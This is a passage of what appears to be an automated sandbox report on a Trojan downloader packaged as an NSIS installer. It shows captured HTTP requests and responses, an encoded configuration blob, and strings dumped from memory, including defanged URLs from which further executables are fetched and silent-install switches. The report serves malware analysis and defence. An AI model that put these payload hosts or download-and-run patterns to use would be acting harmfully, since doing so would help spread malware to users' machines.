Content-Disposition: attachment;filename="BDMReport.dll"<br>

Access-Control-Allow-Origin: *<br>

<<< skipped >>>

<font color="red">GET /client/dllw5/BDLogicUtils.dll HTTP/1.1<br>

Accept: */*<br>

Accept-Language: zh-CN,zh,en-US<br>

Connection: Keep-Alive<br>

Host: dl1sw.baidu.com<br>

Range: bytes=229376-<br>

Referer: hXXp://dl1sw.baidu.com/<br>

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C)<br>

<br>

</font><br><font color="blue">HTTP/1.0 206 Partial Content<br>

Expires: Mon, 08 Sep 2014 06:25:46 GMT<br>

Date: Sat, 09 Aug 2014 06:25:46 GMT<br>

Server: nginx<br>

Content-Type: application/octet-stream<br>

Last-Modified: Tue, 06 May 2014 06:31:30 GMT<br>

Cache-Control: max-age=2592000<br>

Accept-Ranges: bytes<br>

Content-Range: bytes 229376-924495/924496<br>

Content-Length: 695120<br>

Age: 217482<br>

Via: 1.0 wzpy220:8080 (Cdn Cache Server V2.0), 1.0 shiben10:10001 (Cdn Cache Server V2.0)<br>

Connection: close<br>

Content-Disposition: attachment;filename="BDLogicUtils.dll"<br>

Access-Control-Allow-Origin: *<br>

<<< skipped >>>

<font color="red">GET /client/dllw5/BDLogicUtils.dll HTTP/1.1<br>

Accept: */*<br>

Accept-Language: zh-CN,zh,en-US<br>

Connection: Keep-Alive<br>

Host: dl1sw.baidu.com<br>

Range: bytes=393216-<br>

Referer: hXXp://dl1sw.baidu.com/<br>

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C)<br>

<br>

</font><br><font color="blue">HTTP/1.0 206 Partial Content<br>

Expires: Tue, 09 Sep 2014 15:52:20 GMT<br>

Date: Sun, 10 Aug 2014 15:52:20 GMT<br>

Server: nginx<br>

Content-Type: application/octet-stream<br>

Last-Modified: Tue, 06 May 2014 06:31:30 GMT<br>

Cache-Control: max-age=2592000<br>

Accept-Ranges: bytes<br>

Content-Range: bytes 393216-924495/924496<br>

Content-Length: 531280<br>

Age: 97088<br>

Via: 1.0 hzh64:8104 (Cdn Cache Server V2.0), 1.0 sdbz23:8080 (Cdn Cache Server V2.0), 1.0 jg9:51020 (Cdn Cache Server V2.0)<br>

Connection: close<br>

Content-Disposition: attachment;filename="BDLogicUtils.dll"<br>

Access-Control-Allow-Origin: *<br>

<<< skipped >>>

<font color="red">GET /0403/help1.html HTTP/1.0<br>

Host: update.aiqingzhihui.com<br>

User-Agent: NSISDL/1.2 (Mozilla)<br>

Accept: */*<br>

<br>

</font><br><font color="blue">HTTP/1.1 200 OK<br>

Date: Mon, 11 Aug 2014 18:50:51 GMT<br>

Content-Length: 654<br>

Content-Type: text/html<br>

Last-Modified: Fri, 11 Jul 2014 09:40:27 GMT<br>

Connection: Close<br>

ETag: "9884ea25ec9ccf1:4ee"<br>

Accept-Ranges: bytes<br>

Server: Microsoft-IIS/6.0<br>

X-Powered-By: ASP.NET<br>

Fw-Via: DISK HIT from ctl-hn-217-175.fcd<br><pre>TRW2VjdF0KOTc9MQo5OD0xCjk5PTEKMTAwPTEKMTAxPTEKMTAyPTEKMTAzPTEKMTA0PTEK<br>MTA1PTEKMTA2PTEKMTA3PTEKMTA4PTEKMTA5PTEKMTEwPTEKMTExPTEKMTEyPTEKMTEzPT<br>EKMTE0PTEKMTE1PTEKMTE2PTEKMTE3PTEKMTE4PTEKMTE5PTEKMTIwPTEKMTIxPTEKMTIy<br>PTEKMTIzPTEKMTI0PTEKMTI1PTEKMTI2PTEKMTI3PTEKMTI4PTEKMTI5PTEKMTMwPTEKMT<br>MxPTEKMTMyPTEKMTMzPTEKMTM0PTEKMTM1PTEKMTM2PTEKMTM3PTEKMTM4PTEKMTQxPTEK<br>MTQyPTEKW3JlY10KMD1odHRwOi8vZG93bi5sYW9jaGVoZS5jb20vMDYxOS9wanl5Xzg5Xz<br>MuZ2lmCltkaXJdCjA9cGp5eV84OV8zLmV4ZQpbZ10KMD0xCltwYV0KMD0xCltpMV0KMD0x<br>CltpMl0KMD3nvo7omJHlm6LotK0KW2kzXQowPWh0dHA6Ly93d3cubWVpbW90dWFuLmNvbS<br>9pY28uaWNvCltpNF0KMD1tbXQuaWNvCltpNV0KMD1odHRwOi8vd3d3Lm1laW1vdHVhbi5j<br>b20vP2FxMQpbZWRdCkUwPTE=..</pre></font><br><br

<font color="red">GET /sw-search-sp/client2/ditch/25288850097/BDMZipNewForWs.dll HTTP/1.1<br>

Accept: */*<br>

Accept-Language: zh-CN,zh,en-US<br>

Connection: Keep-Alive<br>

Host: dlsw.baidu.com<br>

Range: bytes=6553600-<br>

Referer: hXXp://dlsw.baidu.com/<br>

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C)<br>

<br>

</font><br><font color="blue">HTTP/1.1 206 Partial Content<br>

Server: JSP3/2.0.0-b<br>

Date: Mon, 11 Aug 2014 18:50:40 GMT<br>

Content-Type: application/x-msdownload<br>

Content-Length: 19450704<br>

Connection: close<br>

ETag: c7062e404128917808756500d58121ee<br>

Last-Modified: Fri, 11 Jul 2014 14:29:11 GMT<br>

Expires: Tue, 12 Aug 2014 15:00:39 GMT<br>

Age: 186601<br>

Content-Range: bytes 6553600-26004303/26004304<br>

Access-Control-Allow-Origin: *<br>

Access-Control-Allow-Methods: HEAD, GET, OPTIONS, PUT, POST, DELETE<br>

Access-Control-Expose-Headers: Content-Length, ETag, x-bs-request-id, x-pcs-request-id<br>

Access-Control-Allow-Headers: Range, Origin, Content-Type, Accept, Content-Length<br>

Accept-Ranges: bytes<br>

x-bs-version: DD1C492BA7010AF29AF13DA0A61E68AF<br>

x-bs-request-id: MTAuNDYuMjMxLjQwOjgwODA6MjcwNDI3OTU1MDoyOC9KdWwvMjAxNCAyMzowMDozOCA=<br>

x-bs-meta-crc32: 2839405489<br>

Content-MD5: c7062e404128917808756500d58121ee<br>

<<< skipped >>>

<font color="red">GET /client/dllv5/BDMReport.dll HTTP/1.1<br>

Accept: */*<br>

Accept-Language: zh-CN,zh,en-US<br>

Connection: Keep-Alive<br>

Host: dl1sw.baidu.com<br>

Range: bytes=557056-<br>

Referer: hXXp://dl1sw.baidu.com/<br>

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C)<br>

<br>

</font><br><font color="blue">HTTP/1.0 206 Partial Content<br>

Expires: Tue, 02 Sep 2014 13:53:19 GMT<br>

Date: Sun, 03 Aug 2014 13:53:19 GMT<br>

Server: nginx<br>

Content-Type: application/octet-stream<br>

Last-Modified: Wed, 30 Apr 2014 05:24:32 GMT<br>

Cache-Control: max-age=2592000<br>

Accept-Ranges: bytes<br>

Content-Range: bytes 557056-1207519/1207520<br>

Content-Length: 650464<br>

Age: 709032<br>

Via: 1.0 wzpy185:88 (Cdn Cache Server V2.0), 1.0 jg9:10001 (Cdn Cache Server V2.0)<br>

Connection: close<br>

Content-Disposition: attachment;filename="BDMReport.dll"<br>

Access-Control-Allow-Origin: *<br>

<<< skipped >>>

<font color="red">GET /client/dllws/BDMNet.dll HTTP/1.1<br>

Accept: */*<br>

Accept-Language: zh-CN,zh,en-US<br>

Connection: Keep-Alive<br>

Host: dl1sw.baidu.com<br>

Referer: hXXp://dl1sw.baidu.com/<br>

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C)<br>

<br>

</font><br><font color="blue">HTTP/1.0 200 OK<br>

Expires: Wed, 27 Aug 2014 23:18:00 GMT<br>

Date: Mon, 28 Jul 2014 23:18:00 GMT<br>

Server: nginx<br>

Content-Type: application/octet-stream<br>

Content-Length: 1178448<br>

Last-Modified: Thu, 10 Apr 2014 08:10:19 GMT<br>

Cache-Control: max-age=2592000<br>

Accept-Ranges: bytes<br>

Age: 1193553<br>

Via: 1.0 wzpy201:80 (Cdn Cache Server V2.0), 1.0 shiben9:8888 (Cdn Cache Server V2.0)<br>

Connection: close<br>

Content-Disposition: attachment;filename="BDMNet.dll"<br>

Access-Control-Allow-Origin: *<br>

<<< skipped >>>

<font color="red">GET /wwwww_3340.zip HTTP/1.0<br>

Host: yunbo.luopf.cn<br>

User-Agent: NSISDL/1.2 (Mozilla)<br>

Accept: */*<br>

<br>

</font><br><font color="blue">HTTP/1.1 200 OK<br>

Content-Length: 3591824<br>

Content-Type: application/x-zip-compressed<br>

Last-Modified: Thu, 12 Jun 2014 11:07:17 GMT<br>

Accept-Ranges: bytes<br>

ETag: "eae152792e86cf1:32d"<br>

Server: Microsoft-IIS/6.0<br>

Date: Mon, 11 Aug 2014 18:51:15 GMT<br>

<<< skipped >>>

Map

The Trojan connects to the servers at the folowing location(s):

Strings from Dumps

%original file name%.exe_928:

.text

.text

`.rdata

`.rdata

@.data

@.data

.ndata

.ndata

.rsrc

.rsrc

uDSSh

uDSSh

.DEFAULT\Control Panel\International

.DEFAULT\Control Panel\International

Software\Microsoft\Windows\CurrentVersion

Software\Microsoft\Windows\CurrentVersion

GetWindowsDirectoryA

GetWindowsDirectoryA

KERNEL32.dll

KERNEL32.dll

ExitWindowsEx

ExitWindowsEx

USER32.dll

USER32.dll

GDI32.dll

GDI32.dll

SHFileOperationA

SHFileOperationA

ShellExecuteA

ShellExecuteA

SHELL32.dll

SHELL32.dll

RegEnumKeyA

RegEnumKeyA

RegCreateKeyExA

RegCreateKeyExA

RegCloseKey

RegCloseKey

RegDeleteKeyA

RegDeleteKeyA

RegOpenKeyExA

RegOpenKeyExA

ADVAPI32.dll

ADVAPI32.dll

COMCTL32.dll

COMCTL32.dll

ole32.dll

ole32.dll

VERSION.dll

VERSION.dll

verifying installer: %d%%

verifying installer: %d%%

unpacking data: %d%%

unpacking data: %d%%

... %d%%

... %d%%

hXXp://nsis.sf.net/NSIS_Error

hXXp://nsis.sf.net/NSIS_Error

~nsu.tmp

~nsu.tmp

%u.%u%s%s

%u.%u%s%s

RegDeleteKeyExA

RegDeleteKeyExA

%s=%s

%s=%s

*?|/":

*?|/":

\LOCALS~1\Temp\nsz3.tmp\NSISdl.dll

\LOCALS~1\Temp\nsz3.tmp\NSISdl.dll

.exe"

.exe"

C:\DOCUME~1\"%CurrentUserName%"\LOCALS~1\Temp\nsz3.tmp\NSISdl.dll

C:\DOCUME~1\"%CurrentUserName%"\LOCALS~1\Temp\nsz3.tmp\NSISdl.dll

C:\DOCUME~1\"%CurrentUserName%"\LOCALS~1\Temp\nsz3.tmp

C:\DOCUME~1\"%CurrentUserName%"\LOCALS~1\Temp\nsz3.tmp

WS2_32.dll

WS2_32.dll

NSISdl.dll

NSISdl.dll

invalid URL

invalid URL

Host: %s

Host: %s

GET %s HTTP/1.0

GET %s HTTP/1.0

User-Agent: NSISDL/1.2 (Mozilla)

User-Agent: NSISDL/1.2 (Mozilla)

http=

http=

Software\Microsoft\Windows\CurrentVersion\Internet Settings

Software\Microsoft\Windows\CurrentVersion\Internet Settings

Unable to open %s

Unable to open %s

%skB (%d%%) of %skB at %u.ukB/s

%skB (%d%%) of %skB at %u.ukB/s

(%u hours remaining)

(%u hours remaining)

(%u minutes remaining)

(%u minutes remaining)

(%u seconds remaining)

(%u seconds remaining)

Downloading %s

Downloading %s

.reloc

.reloc

System.dll

System.dll

callback%d

callback%d

kP.zg

kP.zg

.AGkp

.AGkp

nsz3.tmp

nsz3.tmp

79.exe

79.exe

\DOCUME~1\"%CurrentUserName%"\LOCALS~1\Temp\nsz3.tmp

\DOCUME~1\"%CurrentUserName%"\LOCALS~1\Temp\nsz3.tmp

%original file name%.exe

%original file name%.exe

c:\%original file name%.exe

c:\%original file name%.exe

%Program Files%\qwe1

%Program Files%\qwe1

~1\Temp\nsz3.tmp\dfg9

~1\Temp\nsz3.tmp\dfg9

CUME~1\"%CurrentUserName%"\LOCALS~1\Temp\nsu1.tmp

CUME~1\"%CurrentUserName%"\LOCALS~1\Temp\nsu1.tmp

C:\DOCUME~1\"%CurrentUserName%"\LOCALS~1\Temp\

C:\DOCUME~1\"%CurrentUserName%"\LOCALS~1\Temp\

%Program Files%\updatr

%Program Files%\updatr

spkjrjp_30279.exe

spkjrjp_30279.exe

hXXp://yunbo.luopf.cn/spkjrjp_30279.zip

hXXp://yunbo.luopf.cn/spkjrjp_30279.zip

k5%D

k5%D

zU.CC

zU.CC

Nullsoft Install System v2.45

Nullsoft Install System v2.45

yunbo.cn

yunbo.cn

2014.07.25.112739

2014.07.25.112739

%original file name%.exe_928_rwx_10004000_00001000:

callback%d

callback%d

guagua_77150006814.exe_496:

.text

.text

`.rdata

`.rdata

@.data

@.data

.rsrc

.rsrc

t.Ht4

t.Ht4

.\ConfigDlg.cpp

.\ConfigDlg.cpp

GuaGua\ServiceClient.exe

GuaGua\ServiceClient.exe

Player\DefCamSetup.dll

Player\DefCamSetup.dll

CamerDll:%s

CamerDll:%s

dbghelp.dll

dbghelp.dll

%sddd_ddd.dmp

%sddd_ddd.dmp

CGuaGuaMsgBoxDlg

CGuaGuaMsgBoxDlg

SOFTWARE\Microsoft\Windows\CurrentVersion\App Paths\%s.exe

SOFTWARE\Microsoft\Windows\CurrentVersion\App Paths\%s.exe

SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\%s

SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\%s

SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall

SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall

.\ImageMgr.cpp

.\ImageMgr.cpp

Resource%d

Resource%d

FirstImage %s

FirstImage %s

LastImage %s

LastImage %s

Image%d

Image%d

%c:\Program Files\

%c:\Program Files\

.\ProductInfoMgr.cpp

.\ProductInfoMgr.cpp

GetAllProductInfo %d

GetAllProductInfo %d

hXXp://admin.downloader.re63.cn/downcontainer/downLoadList.do

hXXp://admin.downloader.re63.cn/downcontainer/downLoadList.do

log\1.xml

log\1.xml

hXXp://admin.downloader.re63.cn/downcontainer/downLoadForGuaGua.do

hXXp://admin.downloader.re63.cn/downcontainer/downLoadForGuaGua.do

%s?id=%s&recid=%I64d

%s?id=%s&recid=%I64d

%s?recid=%I64d

%s?recid=%I64d

log\2.xml

log\2.xml

installUrl

installUrl

installUrl2

installUrl2

licenseUrl

licenseUrl

LoadConfig %d

LoadConfig %d

App GetProductInfo(%s) Error %d

App GetProductInfo(%s) Error %d

hXXp://img001.com/business/kele.exe

hXXp://img001.com/business/kele.exe

hXXp://img001.com/business/qixi.exe

hXXp://img001.com/business/qixi.exe

hXXp://img001.com/business/qiji.exe

hXXp://img001.com/business/qiji.exe

hXXp://img001.com/business/juxing.exe

hXXp://img001.com/business/juxing.exe

hXXp://img001.com/business/pingguo.exe

hXXp://img001.com/business/pingguo.exe

hXXp://img001.com/business/caihong.exe

hXXp://img001.com/business/caihong.exe

hXXp://d.re71.cn/business/kele.exe

hXXp://d.re71.cn/business/kele.exe

hXXp://d.re71.cn/business/qixi.exe

hXXp://d.re71.cn/business/qixi.exe

hXXp://d.re71.cn/business/qiji.exe

hXXp://d.re71.cn/business/qiji.exe

hXXp://d.re71.cn/business/juxing.exe

hXXp://d.re71.cn/business/juxing.exe

hXXp://d.re71.cn/business/pingguo.exe

hXXp://d.re71.cn/business/pingguo.exe

hXXp://d.re71.cn/business/caihong.exe

hXXp://d.re71.cn/business/caihong.exe

hXXp://VVV.%s.com

hXXp://VVV.%s.com

hXXp://cj.%s.com/downloader/

hXXp://cj.%s.com/downloader/

hXXp://img001.com/business/guagua_setup.exe

hXXp://img001.com/business/guagua_setup.exe

hXXp://img001.com/business/guagua_dance_setup.exe

hXXp://img001.com/business/guagua_dance_setup.exe

GuaGua\GuaGua.exe

GuaGua\GuaGua.exe

Dance\ChatHall.exe

Dance\ChatHall.exe

hXXp://cj.guagua.cn/downloader/

hXXp://cj.guagua.cn/downloader/

ChatHall.exe

ChatHall.exe

UpdateConfig Success%d

UpdateConfig Success%d

hXXp://download.re63.cn

hXXp://download.re63.cn

LoadCookie %d

LoadCookie %d

LoadCookie: RecommendStr=%s

LoadCookie: RecommendStr=%s

%d:%I64d:%d

%d:%I64d:%d

UpdateConfig RecType:%d, RecId:%I64d, Ad:%d

UpdateConfig RecType:%d, RecId:%I64d, Ad:%d

HMAFROMURL

HMAFROMURL

UpdateConfig: SourceUrl=%s

UpdateConfig: SourceUrl=%s

UpdateConfig: WebID=%s

UpdateConfig: WebID=%s

G1.0.0

G1.0.0

%s%s?dlver=%s&pname=%s&pver=%s&cmdtype=%d&cmdid=%I64d&ad=%d&oemid=%d&fromurl=%s&webid=%s&dltime=%d

%s%s?dlver=%s&pname=%s&pver=%s&cmdtype=%d&cmdid=%I64d&ad=%d&oemid=%d&fromurl=%s&webid=%s&dltime=%d

%s%s?dlver=%s&pname=%s&pver=%s&cmdtype=%d&cmdid=%I64d&ad=%d&oemid=%d&fromurl=%s&webid=%s

%s%s?dlver=%s&pname=%s&pver=%s&cmdtype=%d&cmdid=%I64d&ad=%d&oemid=%d&fromurl=%s&webid=%s

%s%s?dlver=%s&pname=%s&pver=%s&cmdtype=%d&cmdid=%I64d&ad=%d&oemid=%d&fromurl=%s&webid=%s&dltime=%d&insttime=%d&homepage=%d&recinst=%d

%s%s?dlver=%s&pname=%s&pver=%s&cmdtype=%d&cmdid=%I64d&ad=%d&oemid=%d&fromurl=%s&webid=%s&dltime=%d&insttime=%d&homepage=%d&recinst=%d

%s%s?dlver=%s&pname=%s&pver=%s&cmdtype=%d&cmdid=%I64d&ad=%d&oemid=%d&fromurl=%s&webid=%s&err=%d

%s%s?dlver=%s&pname=%s&pver=%s&cmdtype=%d&cmdid=%I64d&ad=%d&oemid=%d&fromurl=%s&webid=%s&err=%d

rec_type:%d,

rec_type:%d,

rec_ad:%d,

rec_ad:%d,

src_url:%s,

src_url:%s,

web_id:%s,

web_id:%s,

.\ReptThread.cpp

.\ReptThread.cpp

Rept %s Result [%d, %d]

Rept %s Result [%d, %d]

%slog\ddd ddd.log

%slog\ddd ddd.log

.\SetupTool.cpp

.\SetupTool.cpp

CSetupToolApp %d

CSetupToolApp %d

CImageMgr::Instance().LoadFromServer()

CImageMgr::Instance().LoadFromServer()

CImageMgr::Instance().LoadFromServer() Success

CImageMgr::Instance().LoadFromServer() Success

/S /AUTOSTART=%s /COMMENDER_ID=%s /D=%s

/S /AUTOSTART=%s /COMMENDER_ID=%s /D=%s

.\SetupToolDlg.cpp

.\SetupToolDlg.cpp

Launch InstallProgram: %s %s

Launch InstallProgram: %s %s

State=%d

State=%d

nCount=%d,currentImage=%d

nCount=%d,currentImage=%d

GuaGua\ServiceClient.dll

GuaGua\ServiceClient.dll

Call LaunchGuaGua(%s)

Call LaunchGuaGua(%s)

Exec %s [%d]

Exec %s [%d]

-%%

-%%

\New_Login\GuaGua\trunk\Client\OnlineSetupV2_GuaGua\Common\Path.cpp

\New_Login\GuaGua\trunk\Client\OnlineSetupV2_GuaGua\Common\Path.cpp

ExecApp %s %s [%d]

ExecApp %s %s [%d]

[%d, %d]: %s

[%d, %d]: %s

\New_Login\GuaGua\trunk\Client\OnlineSetupV2_GuaGua\Common\ColorCheckButton.cpp

\New_Login\GuaGua\trunk\Client\OnlineSetupV2_GuaGua\Common\ColorCheckButton.cpp

Checked %d

Checked %d

\New_Login\GuaGua\trunk\Client\OnlineSetupV2_GuaGua\Common\BitmapFile.cpp

\New_Login\GuaGua\trunk\Client\OnlineSetupV2_GuaGua\Common\BitmapFile.cpp

CBitmapFile::Open(%s)

CBitmapFile::Open(%s)

\New_Login\GuaGua\trunk\Client\OnlineSetupV2_GuaGua\Common\DownloadManager.cpp

\New_Login\GuaGua\trunk\Client\OnlineSetupV2_GuaGua\Common\DownloadManager.cpp

InternalDownloadFile() break=%d

InternalDownloadFile() break=%d

SupportBreakDownload

SupportBreakDownload

Begin SupportBreakDownload

Begin SupportBreakDownload

End SupportBreakDownload bThreadFinish=%d

End SupportBreakDownload bThreadFinish=%d

\New_Login\GuaGua\trunk\Client\OnlineSetupV2_GuaGua\Common\DownloadThread.cpp

\New_Login\GuaGua\trunk\Client\OnlineSetupV2_GuaGua\Common\DownloadThread.cpp

Begin OnExecute GetUnfinishBytes nId=%d

Begin OnExecute GetUnfinishBytes nId=%d

End OnExecute GetUnfinishBytes nId=%d

End OnExecute GetUnfinishBytes nId=%d

End OnExecute Receive nId=%d

End OnExecute Receive nId=%d

Mozilla/4.0 (compatible; MSIE 5.0; Windows NT)

Mozilla/4.0 (compatible; MSIE 5.0; Windows NT)

\New_Login\GuaGua\trunk\Client\OnlineSetupV2_GuaGua\Common\HttpClass.cpp

\New_Login\GuaGua\trunk\Client\OnlineSetupV2_GuaGua\Common\HttpClass.cpp

CHttpClass SetOption

CHttpClass SetOption

CHttpClass SetOption Finish

CHttpClass SetOption Finish

GetHttpFile(%s, %s) error: [%d,%d]%s

GetHttpFile(%s, %s) error: [%d,%d]%s

SendHttpMsg %d

SendHttpMsg %d

SendHttpMsg %d %s

SendHttpMsg %d %s

SendHttpMsg(%s) error: [%d,%d]%s

SendHttpMsg(%s) error: [%d,%d]%s

User-Agent: %s

User-Agent: %s

Content-Type: application/x-www-form-urlencoded

Content-Type: application/x-www-form-urlencoded

PostHttpMsg(%s) error: [%d,%d]%s

PostHttpMsg(%s) error: [%d,%d]%s

GetHttpFileInfo(%s) error: [%d,%d]%s

GetHttpFileInfo(%s) error: [%d,%d]%s

HttpRangeRequest(%s, %I64d, %I64d) error: [%d,%d]%s

HttpRangeRequest(%s, %I64d, %I64d) error: [%d,%d]%s

HttpRequest(%s) error: [%d,%d]%s

HttpRequest(%s) error: [%d,%d]%s

ReceiveBytes(%d) error: [%d,%d]%s

ReceiveBytes(%d) error: [%d,%d]%s

\New_Login\GuaGua\trunk\Client\OnlineSetupV2_GuaGua\Common\OutputFile.cpp

\New_Login\GuaGua\trunk\Client\OnlineSetupV2_GuaGua\Common\OutputFile.cpp

%s, %d

%s, %d

%s, length = %I64d err = %d

%s, length = %I64d err = %d

COutputFile::WriteData(%I64d, %d)

COutputFile::WriteData(%I64d, %d)

d:d:d:d

d:d:d:d

File: %s

File: %s

Line:%d

Line:%d

Cond: ASSERT( %s );

Cond: ASSERT( %s );

Condition: ASSERT( %s );

Condition: ASSERT( %s );

SourceFile: %s

SourceFile: %s

LineNum: %d

LineNum: %d

COMCTL32.DLL

COMCTL32.DLL

hhctrl.ocx

hhctrl.ocx

commctrl_DragListMsg

commctrl_DragListMsg

CCmdTarget

CCmdTarget

CNotSupportedException

CNotSupportedException

ntdll.dll

ntdll.dll

kernel32.dll

kernel32.dll

Software\Microsoft\Windows\CurrentVersion\Policies\Comdlg32

Software\Microsoft\Windows\CurrentVersion\Policies\Comdlg32

Software\Microsoft\Windows\CurrentVersion\Policies\Network

Software\Microsoft\Windows\CurrentVersion\Policies\Network

Software\Microsoft\Windows\CurrentVersion\Policies\Explorer

Software\Microsoft\Windows\CurrentVersion\Policies\Explorer

%s.dll

%s.dll

CHttpConnection

CHttpConnection

CHttpFile

CHttpFile

hXXp://

hXXp://

WININET.DLL

WININET.DLL

HTTP/1.0

HTTP/1.0

MSWHEEL_ROLLMSG

MSWHEEL_ROLLMSG

user32.dll

user32.dll

ole32.dll

ole32.dll

mscoree.dll

mscoree.dll

internal state. The program cannot safely continue execution and must

internal state. The program cannot safely continue execution and must

continue execution and must now be terminated.

continue execution and must now be terminated.

- This application cannot run using the active version of the Microsoft .NET Runtime

- This application cannot run using the active version of the Microsoft .NET Runtime

Please contact the application's support team for more information.

Please contact the application's support team for more information.

GetProcessWindowStation

GetProcessWindowStation

OLEACC.dll

OLEACC.dll

f:\New_Login\GuaGua\trunk\Client\OnlineSetupV2_GuaGua\GuaGuaShow\GuaGuaRelease\SetupTool.pdb

f:\New_Login\GuaGua\trunk\Client\OnlineSetupV2_GuaGua\GuaGuaShow\GuaGuaRelease\SetupTool.pdb

GetCPInfo

GetCPInfo

KERNEL32.dll

KERNEL32.dll

CreateDialogIndirectParamA

CreateDialogIndirectParamA

GetKeyState

GetKeyState

UnhookWindowsHookEx

UnhookWindowsHookEx

SetWindowsHookExA

SetWindowsHookExA

USER32.dll

USER32.dll

GetViewportExtEx

GetViewportExtEx

SetViewportOrgEx

SetViewportOrgEx

OffsetViewportOrgEx

OffsetViewportOrgEx

SetViewportExtEx

SetViewportExtEx

ScaleViewportExtEx

ScaleViewportExtEx

GDI32.dll

GDI32.dll

comdlg32.dll

comdlg32.dll

WINSPOOL.DRV

WINSPOOL.DRV

RegCloseKey

RegCloseKey

RegOpenKeyExA

RegOpenKeyExA

RegEnumKeyExA

RegEnumKeyExA

RegOpenKeyA

RegOpenKeyA

RegDeleteKeyA

RegDeleteKeyA

RegEnumKeyA

RegEnumKeyA

RegCreateKeyExA

RegCreateKeyExA

ADVAPI32.dll

ADVAPI32.dll

ShellExecuteA

ShellExecuteA

ShellExecuteExA

ShellExecuteExA

SHELL32.dll

SHELL32.dll

COMCTL32.dll

COMCTL32.dll

UrlUnescapeA

UrlUnescapeA

SHLWAPI.dll

SHLWAPI.dll

oledlg.dll

oledlg.dll

OLEAUT32.dll

OLEAUT32.dll

InternetCrackUrlA

InternetCrackUrlA

InternetCanonicalizeUrlA

InternetCanonicalizeUrlA

HttpAddRequestHeadersA

HttpAddRequestHeadersA

HttpQueryInfoA

HttpQueryInfoA

HttpSendRequestA

HttpSendRequestA

HttpOpenRequestA

HttpOpenRequestA

WININET.dll

WININET.dll

GdipSetImageAttributesColorKeys

GdipSetImageAttributesColorKeys

GdiplusShutdown

GdiplusShutdown

gdiplus.dll

gdiplus.dll

WS2_32.dll

WS2_32.dll

.PAVCObject@@

.PAVCObject@@

.PAVCException@@

.PAVCException@@

.PAVCINETException@@

.PAVCINETException@@

.PAVCInternetException@@

.PAVCInternetException@@

.?AVCCmdTarget@@

.?AVCCmdTarget@@

.?AVCCmdUI@@

.?AVCCmdUI@@

.?AVCTestCmdUI@@

.?AVCTestCmdUI@@

.PAVCUserException@@

.PAVCUserException@@

.PAVCSimpleException@@

.PAVCSimpleException@@

.PAVCResourceException@@

.PAVCResourceException@@

.PAVCOleException@@

.PAVCOleException@@

.PAVCMemoryException@@

.PAVCMemoryException@@

.PAVCNotSupportedException@@

.PAVCNotSupportedException@@

.PAVCInvalidArgException@@

.PAVCInvalidArgException@@

.?AVCNotSupportedException@@

.?AVCNotSupportedException@@

.?AVCHttpConnection@@

.?AVCHttpConnection@@

.?AVCHttpFile@@

.?AVCHttpFile@@

.PAVCArchiveException@@

.PAVCArchiveException@@

.PAVCFileException@@

.PAVCFileException@@

.PAVCOleDispatchException@@

.PAVCOleDispatchException@@

zcÁ

zcÁ

C:\DOCUME~1\"%CurrentUserName%"\LOCALS~1\Temp\nsz3.tmp\log\20140811 215035.log

C:\DOCUME~1\"%CurrentUserName%"\LOCALS~1\Temp\nsz3.tmp\log\20140811 215035.log

21:50:55:131

21:50:55:131

LastImage hXXp://img001.com/tg_pic/mobo14-1-9.png

LastImage hXXp://img001.com/tg_pic/mobo14-1-9.png

ame=guagua&pver=514&cmdtype=0&cmdid=77150006814&ad=0&oemid=0&fromurl=&webid= Result [1, 200]

ame=guagua&pver=514&cmdtype=0&cmdid=77150006814&ad=0&oemid=0&fromurl=&webid= Result [1, 200]

C:\DOCUME~1\"%CurrentUserName%"\LOCALS~1\Temp\nsz3.tmp\guagua_77150006814.exe

C:\DOCUME~1\"%CurrentUserName%"\LOCALS~1\Temp\nsz3.tmp\guagua_77150006814.exe

(*?@@?*&

(*?@@?*&

%.CC5!

%.CC5!

a%f#hA

a%f#hA

?%C;%

?%C;%

4.Rh5|

4.Rh5|

\^.ao

\^.ao

V%Fhb>

V%Fhb>

bPPn-k%%D*

bPPn-k%%D*

Aj.HM

Aj.HM

o.LM%

o.LM%

|%<.vyns>

|%<.vyns>

C%UQf*u

C%UQf*u

.CAQA

.CAQA

HM%FWP,

HM%FWP,

am.HM

am.HM

H

H

K5H.umE5

K5H.umE5

4]mn.znpdd

4]mn.znpdd

MD.pl

MD.pl

U]%s^

U]%s^

Jt.MS

Jt.MS

KAr%s

KAr%s

l.QfV

l.QfV

8HÃ…c

8HÃ…c

lx\/`ckc#u.sQsxE

lx\/`ckc#u.sQsxE

.XB=8

.XB=8

%x$4/

%x$4/

.WF5l

.WF5l

.Oae(

.Oae(

7i%u0

7i%u0

version="1.0.0.0"

version="1.0.0.0"

accKeyboardShortcut

accKeyboardShortcut

1.1.0.0

1.1.0.0

GirlShow.exe

GirlShow.exe

All Files (*.*)

All Files (*.*)

No error message is available.'An unsupported operation was attempted.$A required resource was unavailable.

No error message is available.'An unsupported operation was attempted.$A required resource was unavailable.

Command failed.)Insufficient memory to perform operation.PSystem registry entries have been removed and the INI file (if any) was deleted.BNot all of the system registry entries (or INI file) were removed.FThis program requires the file %s, which was not found on this system.tThis program is linked to the missing export %s in the file %s. This machine may have an incompatible version of %s.

Command failed.)Insufficient memory to perform operation.PSystem registry entries have been removed and the INI file (if any) was deleted.BNot all of the system registry entries (or INI file) were removed.FThis program requires the file %s, which was not found on this system.tThis program is linked to the missing export %s in the file %s. This machine may have an incompatible version of %s.

Destination disk drive is full.5Unable to read from %1, it is opened by someone else.AUnable to write to %1, it is read-only or opened by someone else..An unexpected error occurred while reading %1..An unexpected error occurred while writing %1.

